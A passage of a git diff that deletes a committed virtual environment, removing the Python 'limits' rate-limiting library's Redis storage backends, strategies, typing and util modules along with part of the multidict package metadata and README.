str) -> str: - return f"{self.key_prefix}:{key}" - - def get_moving_window(self, key: str, limit: int, expiry: int) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param key: rate limit key - :param expiry: expiry of entry - :return: (start of window, number of acquired entries) - """ - key = self.prefixed_key(key) - timestamp = time.time() - if window := self.lua_moving_window([key], [timestamp - expiry, limit]): - return float(window[0]), window[1] - - return timestamp, 0 - - def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - previous_key = self.prefixed_key(self._previous_window_key(key)) - current_key = self.prefixed_key(self._current_window_key(key)) - if window := self.lua_sliding_window([previous_key, current_key], [expiry]): - return ( - int(window[0] or 0), - max(0, float(window[1] or 0)) / 1000, - int(window[2] or 0), - max(0, float(window[3] or 0)) / 1000, - ) - return 0, 0.0, 0, 0.0 - - def clear_sliding_window(self, key: str, expiry: int) -> None: - previous_key = self._previous_window_key(key) - current_key = self._current_window_key(key) - self.clear(previous_key) - self.clear(current_key) - - def incr( - self, - key: str, - expiry: int, - amount: int = 1, - ) -> int: - """ - increments the counter for a given rate limit key - - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - key = self.prefixed_key(key) - return int(self.lua_incr_expire([key], [expiry, amount])) - - def get(self, key: str) -> int: - """ - - :param key: the key to get the counter value for - """ - - key = self.prefixed_key(key) - return int(self.get_connection(True).get(key) or 0) - - def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - """ - key = self.prefixed_key(key) - self.get_connection().delete(key) - - def acquire_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - - :param amount: the number of entries to acquire - """ - key = self.prefixed_key(key) - timestamp = time.time() - acquired = self.lua_acquire_moving_window( - [key], [timestamp, limit, expiry, amount] - ) - - return bool(acquired) - - def acquire_sliding_window_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - """ - Acquire an entry. Shift the current window to the previous window if it expired. - - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - previous_key = self.prefixed_key(self._previous_window_key(key)) - current_key = self.prefixed_key(self._current_window_key(key)) - acquired = self.lua_acquire_sliding_window( - [previous_key, current_key], [limit, expiry, amount] - ) - return bool(acquired) - - def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - - """ - - key = self.prefixed_key(key) - return max(self.get_connection(True).ttl(key), 0) + time.time() - - def check(self) -> bool: - """ - check if storage is healthy - """ - try: - return self.get_connection().ping() - except: # noqa - return False - - def reset(self) -> int | None: - """ - This function calls a Lua Script to delete keys prefixed with - :paramref:`RedisStorage.key_prefix` in blocks of 5000. - - .. warning:: - This operation was designed to be fast, but was not tested - on a large production based system. Be careful with its usage as it - could be slow on very large data sets. - - """ - - prefix = self.prefixed_key("*") - return int(self.lua_clear_keys([prefix])) diff --git a/venv/Lib/site-packages/limits/storage/redis_cluster.py b/venv/Lib/site-packages/limits/storage/redis_cluster.py deleted file mode 100644 index 8618a273b07b5ae2ffac61d432033b7e26be3b69..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/storage/redis_cluster.py +++ /dev/null @@ -1,123 +0,0 @@ -from __future__ import annotations - -from deprecated.sphinx import versionchanged -from packaging.version import Version - -from limits._storage_scheme import parse_storage_uri -from limits.storage.redis import RedisStorage - - -@versionchanged( - version="3.14.0", - reason=""" -Dropped support for the :pypi:`redis-py-cluster` library -which has been abandoned/deprecated. -""", -) -@versionchanged( - version="2.5.0", - reason=""" -Cluster support was provided by the :pypi:`redis-py-cluster` library -which has been absorbed into the official :pypi:`redis` client. By -default the :class:`redis.cluster.RedisCluster` client will be used -however if the version of the package is lower than ``4.2.0`` the implementation -will fallback to trying to use :class:`rediscluster.RedisCluster`. -""", -) -@versionchanged( - version="4.3", - reason=( - "Added support for using the redis client from :pypi:`valkey`" - " if :paramref:`uri` has the ``valkey+cluster://`` schema" - ), -) -class RedisClusterStorage(RedisStorage): - """ - Rate limit storage with redis cluster as backend - - Depends on :pypi:`redis` (or :pypi:`valkey` if :paramref:`uri` - starts with ``valkey+cluster://``). - """ - - STORAGE_SCHEME = ["redis+cluster", "valkey+cluster"] - """The storage scheme for redis cluster""" - - DEFAULT_OPTIONS: dict[str, float | str | bool] = { - "max_connections": 1000, - } - "Default options passed to the :class:`~redis.cluster.RedisCluster`" - - DEPENDENCIES = { - "redis": Version("4.2.0"), - "valkey": Version("6.0"), - } - - def __init__( - self, - uri: str, - key_prefix: str = RedisStorage.PREFIX, - wrap_exceptions: bool = False, - **options: float | str | bool, - ) -> None: - """ - :param uri: url of the form - ``redis+cluster://[:password]@host:port,host:port`` - - If the uri scheme is ``valkey+cluster`` the implementation used will be from - :pypi:`valkey`. - :param key_prefix: the prefix for each key created in redis - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param options: all remaining keyword arguments are passed - directly to the constructor of :class:`redis.cluster.RedisCluster` - :raise ConfigurationError: when the :pypi:`redis` library is not - available or if the redis cluster cannot be reached. - """ - storage_uri_options = parse_storage_uri(uri) - parsed_auth = {} - if username := options.get("username", storage_uri_options.username): - parsed_auth["username"] = username - if password := options.get("password", storage_uri_options.password): - parsed_auth["password"] = password - - cluster_hosts = storage_uri_options.locations - - self.key_prefix = key_prefix - self.storage = None - self.target_server = "valkey" if uri.startswith("valkey") else "redis" - self.dependency = self.dependencies[self.target_server].module - startup_nodes = [self.dependency.cluster.ClusterNode(*c) for c in cluster_hosts] - merged_options = { - **self.DEFAULT_OPTIONS, - **{"startup_nodes": startup_nodes}, - **parsed_auth, - **options, - } - if self.target_server == "redis": - self.storage = self.dependency.cluster.RedisCluster(**merged_options) - else: - self.storage = self.dependency.cluster.ValkeyCluster(**merged_options) - - assert self.storage - self.initialize_storage(uri) - super(RedisStorage, self).__init__(uri, wrap_exceptions, **options) - - def reset(self) -> int | None: - """ - Redis Clusters are sharded and deleting across shards - can't be done atomically. Because of this, this reset loops over all - keys that are prefixed with :paramref:`RedisClusterStorage.prefix` and - calls delete on them one at a time. - - .. warning:: - This operation was not tested with extremely large data sets. - On a large production based system, care should be taken with its - usage as it could be slow on very large data sets""" - - prefix = self.prefixed_key("*") - count = 0 - for primary in self.storage.get_primaries(): - node = self.storage.get_redis_connection(primary) - keys = node.keys(prefix) - count += sum([node.delete(k.decode("utf-8")) for k in keys]) - return count diff --git a/venv/Lib/site-packages/limits/storage/redis_sentinel.py b/venv/Lib/site-packages/limits/storage/redis_sentinel.py deleted file mode 100644 index bd52ca8b9933dd481abd3a60e701c8b7da3dbcd7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/storage/redis_sentinel.py +++ /dev/null @@ -1,121 +0,0 @@ -from __future__ import annotations - -from typing import TYPE_CHECKING - -from deprecated.sphinx import versionchanged -from packaging.version import Version - -from limits._storage_scheme import parse_storage_uri -from limits.errors import ConfigurationError -from limits.storage.redis import RedisStorage -from limits.typing import RedisClient - -if TYPE_CHECKING: - pass - - -@versionchanged( - version="4.3", - reason=( - "Added support for using the redis client from :pypi:`valkey`" - " if :paramref:`uri` has the ``valkey+sentinel://`` schema" - ), -) -class RedisSentinelStorage(RedisStorage): - """ - Rate limit storage with redis sentinel as backend - - Depends on :pypi:`redis` package (or :pypi:`valkey` if :paramref:`uri` starts with - ``valkey+sentinel://``) - """ - - STORAGE_SCHEME = ["redis+sentinel", "valkey+sentinel"] - """The storage scheme for redis accessed via a redis sentinel installation""" - - DEPENDENCIES = { - "redis": Version("3.0"), - "redis.sentinel": Version("3.0"), - "valkey": Version("6.0"), - "valkey.sentinel": Version("6.0"), - } - - def __init__( - self, - uri: str, - service_name: str | None = None, - use_replicas: bool = True, - sentinel_kwargs: dict[str, float | str | bool] | None = None, - key_prefix: str = RedisStorage.PREFIX, - wrap_exceptions: bool = False, - **options: float | str | bool, - ) -> None: - """ - :param uri: url of the form - ``redis+sentinel://host:port,host:port/service_name`` - - If the uri scheme is ``valkey+sentinel`` the implementation used will be from - :pypi:`valkey`. - :param service_name: sentinel service name - (if not provided in :attr:`uri`) - :param use_replicas: Whether to use replicas for read only operations - :param sentinel_kwargs: kwargs to pass as - :attr:`sentinel_kwargs` to :class:`redis.sentinel.Sentinel` - :param key_prefix: the prefix for each key created in redis - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param options: all remaining keyword arguments are passed - directly to the constructor of :class:`redis.sentinel.Sentinel` - :raise ConfigurationError: when the redis library is not available - or if the redis master host cannot be pinged. - """ - - super(RedisStorage, self).__init__( - uri, wrap_exceptions=wrap_exceptions, **options - ) - - storage_uri_options = parse_storage_uri(uri) - sentinel_configuration = [] - sentinel_options = sentinel_kwargs.copy() if sentinel_kwargs else {} - - parsed_auth: dict[str, float | str | bool] = {} - - if username := options.get("username", storage_uri_options.username): - parsed_auth["username"] = username - if password := options.get("password", storage_uri_options.password): - parsed_auth["password"] = password - - sentinel_configuration.extend(storage_uri_options.locations) - self.key_prefix = key_prefix - self.service_name = ( - storage_uri_options.path.replace("/", "") - if storage_uri_options.path - else service_name - ) - - if self.service_name is None: - raise ConfigurationError("'service_name' not provided") - - self.target_server = "valkey" if uri.startswith("valkey") else "redis" - sentinel_dep = self.dependencies[f"{self.target_server}.sentinel"].module - self.sentinel = sentinel_dep.Sentinel( - sentinel_configuration, - sentinel_kwargs={**parsed_auth, **sentinel_options}, - **{**parsed_auth, **options}, - ) - self.storage: RedisClient = self.sentinel.master_for(self.service_name) - self.storage_slave: RedisClient = self.sentinel.slave_for(self.service_name) - self.use_replicas = use_replicas - self.initialize_storage(uri) - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return ( # type: ignore[no-any-return] - self.dependencies["redis"].module.RedisError - if self.target_server == "redis" - else self.dependencies["valkey"].module.ValkeyError - ) - - def get_connection(self, readonly: bool = False) -> RedisClient: - return self.storage_slave if (readonly and self.use_replicas) else self.storage diff --git a/venv/Lib/site-packages/limits/strategies.py b/venv/Lib/site-packages/limits/strategies.py deleted file mode 100644 index e1754f5277e501dfe42fb44fc0d8fde4b4b87a1b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/strategies.py +++ /dev/null @@ -1,318 +0,0 @@ -""" -Rate limiting strategies -""" - -from __future__ import annotations - -import time -from abc import ABCMeta, abstractmethod -from math import floor, inf - -from deprecated.sphinx import versionadded - -from limits.storage.base import SlidingWindowCounterSupport - -from .limits import RateLimitItem -from .storage import MovingWindowSupport, Storage, StorageTypes -from .typing import cast -from .util import WindowStats - - -class RateLimiter(metaclass=ABCMeta): - def __init__(self, storage: StorageTypes): - assert isinstance(storage, Storage) - self.storage: Storage = storage - - @abstractmethod - def hit(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Consume the rate limit - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The cost of this hit, default 1 - - :return: True if ``cost`` could be deducted from the rate limit without exceeding it - """ - raise NotImplementedError - - @abstractmethod - def test(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Check the rate limit without consuming from it. - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The expected cost to be consumed, default 1 - - :return: True if the rate limit is not depleted - """ - raise NotImplementedError - - @abstractmethod - def get_window_stats(self, item: RateLimitItem, *identifiers: str) -> WindowStats: - """ - Query the reset time and remaining amount for the limit - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :return: (reset time, remaining) - """ - raise NotImplementedError - - def clear(self, item: RateLimitItem, *identifiers: str) -> None: - return self.storage.clear(item.key_for(*identifiers)) - - -class MovingWindowRateLimiter(RateLimiter): - """ - Reference: :ref:`strategies:moving window` - """ - - def __init__(self, storage: StorageTypes): - if not ( - hasattr(storage, "acquire_entry") or hasattr(storage, "get_moving_window") - ): - raise NotImplementedError( - "MovingWindowRateLimiting is not implemented for storage " - f"of type {storage.__class__}" - ) - super().__init__(storage) - - def hit(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Consume the rate limit - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The cost of this hit, default 1 - - :return: True if ``cost`` could be deducted from the rate limit without exceeding it - """ - - return cast(MovingWindowSupport, self.storage).acquire_entry( - item.key_for(*identifiers), item.amount, item.get_expiry(), amount=cost - ) - - def test(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Check if the rate limit can be consumed - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The expected cost to be consumed, default 1 - - :return: True if the rate limit is not depleted - """ - - return ( - cast(MovingWindowSupport, self.storage).get_moving_window( - item.key_for(*identifiers), - item.amount, - item.get_expiry(), - )[1] - <= item.amount - cost - ) - - def get_window_stats(self, item: RateLimitItem, *identifiers: str) -> WindowStats: - """ - returns the number of requests remaining within this limit. - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :return: tuple (reset time, remaining) - """ - window_start, window_items = cast( - MovingWindowSupport, self.storage - ).get_moving_window(item.key_for(*identifiers), item.amount, item.get_expiry()) - reset = window_start + item.get_expiry() - - return WindowStats(reset, item.amount - window_items) - - -class FixedWindowRateLimiter(RateLimiter): - """ - Reference: :ref:`strategies:fixed window` - """ - - def hit(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Consume the rate limit - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The cost of this hit, default 1 - - :return: True if ``cost`` could be deducted from the rate limit without exceeding it - """ - - return ( - self.storage.incr( - item.key_for(*identifiers), - item.get_expiry(), - amount=cost, - ) - <= item.amount - ) - - def test(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Check if the rate limit can be consumed - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The expected cost to be consumed, default 1 - - :return: True if the rate limit is not depleted - """ - - return self.storage.get(item.key_for(*identifiers)) < item.amount - cost + 1 - - def get_window_stats(self, item: RateLimitItem, *identifiers: str) -> WindowStats: - """ - Query the reset time and remaining amount for the limit - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :return: (reset time, remaining) - """ - remaining = max(0, item.amount - self.storage.get(item.key_for(*identifiers))) - reset = self.storage.get_expiry(item.key_for(*identifiers)) - - return WindowStats(reset, remaining) - - -@versionadded(version="4.1") -class SlidingWindowCounterRateLimiter(RateLimiter): - """ - Reference: :ref:`strategies:sliding window counter` - """ - - def __init__(self, storage: StorageTypes): - if not hasattr(storage, "get_sliding_window") or not hasattr( - storage, "acquire_sliding_window_entry" - ): - raise NotImplementedError( - "SlidingWindowCounterRateLimiting is not implemented for storage " - f"of type {storage.__class__}" - ) - super().__init__(storage) - - def _weighted_count( - self, - item: RateLimitItem, - previous_count: int, - previous_expires_in: float, - current_count: int, - ) -> float: - """ - Return the approximated by weighting the previous window count and adding the current window count. - """ - return previous_count * previous_expires_in / item.get_expiry() + current_count - - def hit(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Consume the rate limit - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The cost of this hit, default 1 - - :return: True if ``cost`` could be deducted from the rate limit without exceeding it - """ - return cast( - SlidingWindowCounterSupport, self.storage - ).acquire_sliding_window_entry( - item.key_for(*identifiers), - item.amount, - item.get_expiry(), - cost, - ) - - def test(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Check if the rate limit can be consumed - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The expected cost to be consumed, default 1 - - :return: True if the rate limit is not depleted - """ - previous_count, previous_expires_in, current_count, _ = cast( - SlidingWindowCounterSupport, self.storage - ).get_sliding_window(item.key_for(*identifiers), item.get_expiry()) - - return ( - self._weighted_count( - item, previous_count, previous_expires_in, current_count - ) - < item.amount - cost + 1 - ) - - def get_window_stats(self, item: RateLimitItem, *identifiers: str) -> WindowStats: - """ - Query the reset time and remaining amount for the limit. - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :return: WindowStats(reset time, remaining) - """ - previous_count, previous_expires_in, current_count, current_expires_in = cast( - SlidingWindowCounterSupport, self.storage - ).get_sliding_window(item.key_for(*identifiers), item.get_expiry()) - - remaining = max( - 0, - item.amount - - floor( - self._weighted_count( - item, previous_count, previous_expires_in, current_count - ) - ), - ) - - now = time.time() - - if not (previous_count or current_count): - return WindowStats(now, remaining) - - expiry = item.get_expiry() - - previous_reset_in, current_reset_in = inf, inf - if previous_count: - previous_reset_in = previous_expires_in % (expiry / previous_count) - if current_count: - current_reset_in = current_expires_in % expiry - - return WindowStats(now + min(previous_reset_in, current_reset_in), remaining) - - def clear(self, item: RateLimitItem, *identifiers: str) -> None: - return cast(SlidingWindowCounterSupport, self.storage).clear_sliding_window( - item.key_for(*identifiers), item.get_expiry() - ) - - -KnownStrategy = ( - type[SlidingWindowCounterRateLimiter] - | type[FixedWindowRateLimiter] - | type[MovingWindowRateLimiter] -) - -STRATEGIES: dict[str, KnownStrategy] = { - "sliding-window-counter": SlidingWindowCounterRateLimiter, - "fixed-window": FixedWindowRateLimiter, - "moving-window": MovingWindowRateLimiter, -} diff --git a/venv/Lib/site-packages/limits/typing.py b/venv/Lib/site-packages/limits/typing.py deleted file mode 100644 index ac29d5a60b509439b202b18ad4d324a6662ae104..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/typing.py +++ /dev/null @@ -1,127 +0,0 @@ -from __future__ import annotations - -from collections import Counter -from collections.abc import Awaitable, Callable, Iterable -from typing import ( - TYPE_CHECKING, - Any, - ClassVar, - Literal, - NamedTuple, - ParamSpec, - Protocol, - TypeAlias, - TypeVar, - cast, -) - -Serializable = int | str | float - -R = TypeVar("R") -R_co = TypeVar("R_co", covariant=True) -P = ParamSpec("P") - - -if TYPE_CHECKING: - import coredis - import pymongo.collection - import pymongo.database - import pymongo.mongo_client - import redis - - -class MemcachedClientP(Protocol): - def add( - self, - key: str, - value: Serializable, - expire: int | None = 0, - noreply: bool | None = None, - flags: int | None = None, - ) -> bool: ... - - def get(self, key: str, default: str | None = None) -> bytes: ... - - def get_many(self, keys: Iterable[str]) -> dict[str, Any]: ... # type:ignore[explicit-any] - - def incr( - self, key: str, value: int, noreply: bool | None = False - ) -> int | None: ... - - def decr( - self, - key: str, - value: int, - noreply: bool | None = False, - ) -> int | None: ... - - def delete(self, key: str, noreply: bool | None = None) -> bool | None: ... - - def set( - self, - key: str, - value: Serializable, - expire: int = 0, - noreply: bool | None = None, - flags: int | None = None, - ) -> bool: ... - - def touch( - self, key: str, expire: int | None = 0, noreply: bool | None = None - ) -> bool: ... - - -class RedisClientP(Protocol): - def incrby(self, key: str, amount: int) -> int: ... - def get(self, key: str) -> bytes | None: ... - def delete(self, key: str) -> int: ... - def ttl(self, key: str) -> int: ... - def expire(self, key: str, seconds: int) -> bool: ... - def ping(self) -> bool: ... - def register_script(self, script: bytes) -> redis.commands.core.Script: ... - - -class AsyncRedisClientP(Protocol): - async def incrby(self, key: str, amount: int) -> int: ... - async def get(self, key: str) -> bytes | None: ... - async def delete(self, key: str) -> int: ... - async def ttl(self, key: str) -> int: ... - async def expire(self, key: str, seconds: int) -> bool: ... - async def ping(self) -> bool: ... - def register_script(self, script: bytes) -> redis.commands.core.Script: ... - - -RedisClient: TypeAlias = RedisClientP -AsyncRedisClient: TypeAlias = AsyncRedisClientP -AsyncCoRedisClient: TypeAlias = "coredis.Redis[bytes] | coredis.RedisCluster[bytes]" - -MongoClient: TypeAlias = "pymongo.mongo_client.MongoClient[dict[str, Any]]" # type:ignore[explicit-any] -MongoDatabase: TypeAlias = "pymongo.database.Database[dict[str, Any]]" # type:ignore[explicit-any] -MongoCollection: TypeAlias = "pymongo.collection.Collection[dict[str, Any]]" # type:ignore[explicit-any] - -__all__ = [ - "TYPE_CHECKING", - "Any", - "AsyncRedisClient", - "Awaitable", - "Callable", - "ClassVar", - "Counter", - "Iterable", - "Literal", - "MemcachedClientP", - "MongoClient", - "MongoCollection", - "MongoDatabase", - "NamedTuple", - "P", - "ParamSpec", - "Protocol", - "R", - "R_co", - "RedisClient", - "Serializable", - "TypeAlias", - "TypeVar", - "cast", -] diff --git a/venv/Lib/site-packages/limits/util.py b/venv/Lib/site-packages/limits/util.py deleted file mode 100644 index aa7c931f49e2d491320e1911e1ec3c540a39fc87..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/util.py +++ /dev/null @@ -1,209 +0,0 @@ -""" """ - -from __future__ import annotations - -import dataclasses -import importlib.resources -import re -import sys -from collections import UserDict -from types import ModuleType -from typing import TYPE_CHECKING - -from packaging.version import Version - -from limits.typing import NamedTuple - -from .errors import ConfigurationError -from .limits import GRANULARITIES, RateLimitItem - -SEPARATORS = re.compile(r"[,;|]{1}") -SINGLE_EXPR = re.compile( - r""" - \s*([0-9]+) - \s*(/|\s*per\s*) - \s*([0-9]+)? - \s*([a-z]+) - \s* - """, - re.IGNORECASE | re.VERBOSE, -) -EXPR = re.compile( - rf"^{SINGLE_EXPR.pattern}(:?{SEPARATORS.pattern}{SINGLE_EXPR.pattern})*$", - re.IGNORECASE | re.VERBOSE, -) - - -class WindowStats(NamedTuple): - """ - tuple to describe a rate limited window - """ - - #: Time as seconds since the Epoch when this window will be reset - reset_time: float - #: Quantity remaining in this window - remaining: int - - -@dataclasses.dataclass -class Dependency: - name: str - version_required: Version | None - version_found: Version | None - module: ModuleType - - -MissingModule = ModuleType("Missing") - - -if TYPE_CHECKING: - _UserDict = UserDict[str, Dependency] -else: - _UserDict = UserDict - - -class DependencyDict(_UserDict): - def __getitem__(self, key: str) -> Dependency: - dependency = super().__getitem__(key) - - if dependency.module is MissingModule: - message = f"'{dependency.name}' prerequisite not available." - if dependency.version_required: - message += ( - f" A minimum version of {dependency.version_required} is required." - if dependency.version_required - else "" - ) - message += ( - " See https://limits.readthedocs.io/en/stable/storage.html#supported-versions" - " for more details." - ) - raise ConfigurationError(message) - elif dependency.version_required and ( - not dependency.version_found - or dependency.version_found < dependency.version_required - ): - raise ConfigurationError( - f"The minimum version of {dependency.version_required}" - f" for '{dependency.name}' could not be found. Found version: {dependency.version_found}" - ) - - return dependency - - -class LazyDependency: - """ - Simple utility that provides an :attr:`dependency` - to the child class to fetch any dependencies - without having to import them explicitly. - """ - - DEPENDENCIES: dict[str, Version | None] | list[str] = [] - """ - The python modules this class has a dependency on. - Used to lazily populate the :attr:`dependencies` - """ - - def __init__(self) -> None: - self._dependencies: DependencyDict = DependencyDict() - - @property - def dependencies(self) -> DependencyDict: - """ - Cached mapping of the modules this storage depends on. - This is done so that the module is only imported lazily - when the storage is instantiated. - - :meta private: - """ - - if not getattr(self, "_dependencies", None): - dependencies = DependencyDict() - mapping: dict[str, Version | None] - - if isinstance(self.DEPENDENCIES, list): - mapping = {dependency: None for dependency in self.DEPENDENCIES} - else: - mapping = self.DEPENDENCIES - - for name, minimum_version in mapping.items(): - dependency, version = get_dependency(name) - - dependencies[name] = Dependency( - name, minimum_version, version, dependency - ) - self._dependencies = dependencies - - return self._dependencies - - -def get_dependency(module_path: str) -> tuple[ModuleType, Version | None]: - """ - safe function to import a module at runtime - """ - try: - if module_path not in sys.modules: - __import__(module_path) - root = module_path.split(".")[0] - version = getattr(sys.modules[root], "__version__", "0.0.0") - - return sys.modules[module_path], Version(version) - except ImportError: # pragma: no cover - return MissingModule, None - - -def get_package_data(path: str) -> bytes: - return importlib.resources.files("limits").joinpath(path).read_bytes() - - -def parse_many(limit_string: str) -> list[RateLimitItem]: - """ - parses rate limits in string notation containing multiple rate limits - (e.g. ``1/second; 5/minute``) - - :param limit_string: rate limit string using :ref:`ratelimit-string` - :raise ValueError: if the string notation is invalid. - - """ - - if not (isinstance(limit_string, str) and EXPR.match(limit_string)): - raise ValueError(f"couldn't parse rate limit string '{limit_string}'") - limits = [] - - for limit in SEPARATORS.split(limit_string): - match = SINGLE_EXPR.match(limit) - - if match: - amount, _, multiples, granularity_string = match.groups() - granularity = granularity_from_string(granularity_string) - limits.append( - granularity(int(amount), multiples and int(multiples) or None) - ) - - return limits - - -def parse(limit_string: str) -> RateLimitItem: - """ - parses a single rate limit in string notation - (e.g. ``1/second`` or ``1 per second``) - - :param limit_string: rate limit string using :ref:`ratelimit-string` - :raise ValueError: if the string notation is invalid. - - """ - - return list(parse_many(limit_string))[0] - - -def granularity_from_string(granularity_string: str) -> type[RateLimitItem]: - """ - - :param granularity_string: - :raise ValueError: - """ - - for granularity in GRANULARITIES.values(): - if granularity.check_granularity_string(granularity_string): - return granularity - raise ValueError(f"no granularity matched for {granularity_string}") diff --git a/venv/Lib/site-packages/multidict-6.7.1.dist-info/INSTALLER b/venv/Lib/site-packages/multidict-6.7.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict-6.7.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/multidict-6.7.1.dist-info/METADATA b/venv/Lib/site-packages/multidict-6.7.1.dist-info/METADATA deleted file mode 100644 index 7078b45af9d71923a24beb14bb7a19825f9f3122..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict-6.7.1.dist-info/METADATA +++ /dev/null @@ -1,149 +0,0 @@ -Metadata-Version: 2.4 -Name: multidict -Version: 6.7.1 -Summary: multidict implementation -Home-page: https://github.com/aio-libs/multidict -Author: Andrew Svetlov -Author-email: andrew.svetlov@gmail.com -License: Apache License 2.0 -Project-URL: Chat: Matrix, https://matrix.to/#/#aio-libs:matrix.org -Project-URL: Chat: Matrix Space, https://matrix.to/#/#aio-libs-space:matrix.org -Project-URL: CI: GitHub, https://github.com/aio-libs/multidict/actions -Project-URL: Code of Conduct, https://github.com/aio-libs/.github/blob/master/CODE_OF_CONDUCT.md -Project-URL: Coverage: codecov, https://codecov.io/github/aio-libs/multidict -Project-URL: Docs: Changelog, https://multidict.aio-libs.org/en/latest/changes/ -Project-URL: Docs: RTD, https://multidict.aio-libs.org -Project-URL: GitHub: issues, https://github.com/aio-libs/multidict/issues -Project-URL: GitHub: repo, https://github.com/aio-libs/multidict -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Requires-Python: >=3.9 -Description-Content-Type: text/x-rst -License-File: LICENSE -Requires-Dist: typing-extensions>=4.1.0; python_version < "3.11" -Dynamic: license-file - -========= -multidict -========= - -.. image:: https://github.com/aio-libs/multidict/actions/workflows/ci-cd.yml/badge.svg - :target: https://github.com/aio-libs/multidict/actions - :alt: GitHub status for master branch - -.. image:: https://codecov.io/gh/aio-libs/multidict/branch/master/graph/badge.svg?flag=pytest - :target: https://codecov.io/gh/aio-libs/multidict?flags[]=pytest - :alt: Coverage metrics - -.. image:: https://img.shields.io/pypi/v/multidict.svg - :target: https://pypi.org/project/multidict - :alt: PyPI - -.. image:: https://readthedocs.org/projects/multidict/badge/?version=latest - :target: https://multidict.aio-libs.org - :alt: Read The Docs build status badge - -.. image:: https://img.shields.io/endpoint?url=https://codspeed.io/badge.json - :target: https://codspeed.io/aio-libs/multidict - :alt: CodSpeed - -.. image:: https://img.shields.io/pypi/pyversions/multidict.svg - :target: https://pypi.org/project/multidict - :alt: Python versions - -.. image:: https://img.shields.io/matrix/aio-libs:matrix.org?label=Discuss%20on%20Matrix%20at%20%23aio-libs%3Amatrix.org&logo=matrix&server_fqdn=matrix.org&style=flat - :target: https://matrix.to/#/%23aio-libs:matrix.org - :alt: Matrix Room — #aio-libs:matrix.org - -.. image:: https://img.shields.io/matrix/aio-libs-space:matrix.org?label=Discuss%20on%20Matrix%20at%20%23aio-libs-space%3Amatrix.org&logo=matrix&server_fqdn=matrix.org&style=flat - :target: https://matrix.to/#/%23aio-libs-space:matrix.org - :alt: Matrix Space — #aio-libs-space:matrix.org - -Multidict is dict-like collection of *key-value pairs* where key -might occur more than once in the container. - -Introduction ------------- - -*HTTP Headers* and *URL query string* require specific data structure: -*multidict*. It behaves mostly like a regular ``dict`` but it may have -several *values* for the same *key* and *preserves insertion ordering*. - -The *key* is ``str`` (or ``istr`` for case-insensitive dictionaries). - -``multidict`` has four multidict classes: -``MultiDict``, ``MultiDictProxy``, ``CIMultiDict`` -and ``CIMultiDictProxy``. - -Immutable proxies (``MultiDictProxy`` and -``CIMultiDictProxy``) provide a dynamic view for the -proxied multidict, the view reflects underlying collection changes. They -implement the ``collections.abc.Mapping`` interface. - -Regular mutable (``MultiDict`` and ``CIMultiDict``) classes -implement ``collections.abc.MutableMapping`` and allows them to change -their own content. - - -*Case insensitive* (``CIMultiDict`` and -``CIMultiDictProxy``) assume the *keys* are case -insensitive, e.g.:: - - >>> dct = CIMultiDict(key='val') - >>> 'Key' in dct - True - >>> dct['Key'] - 'val' - -*Keys* should be ``str`` or ``istr`` instances. - -The library has optional C Extensions for speed. - - -License 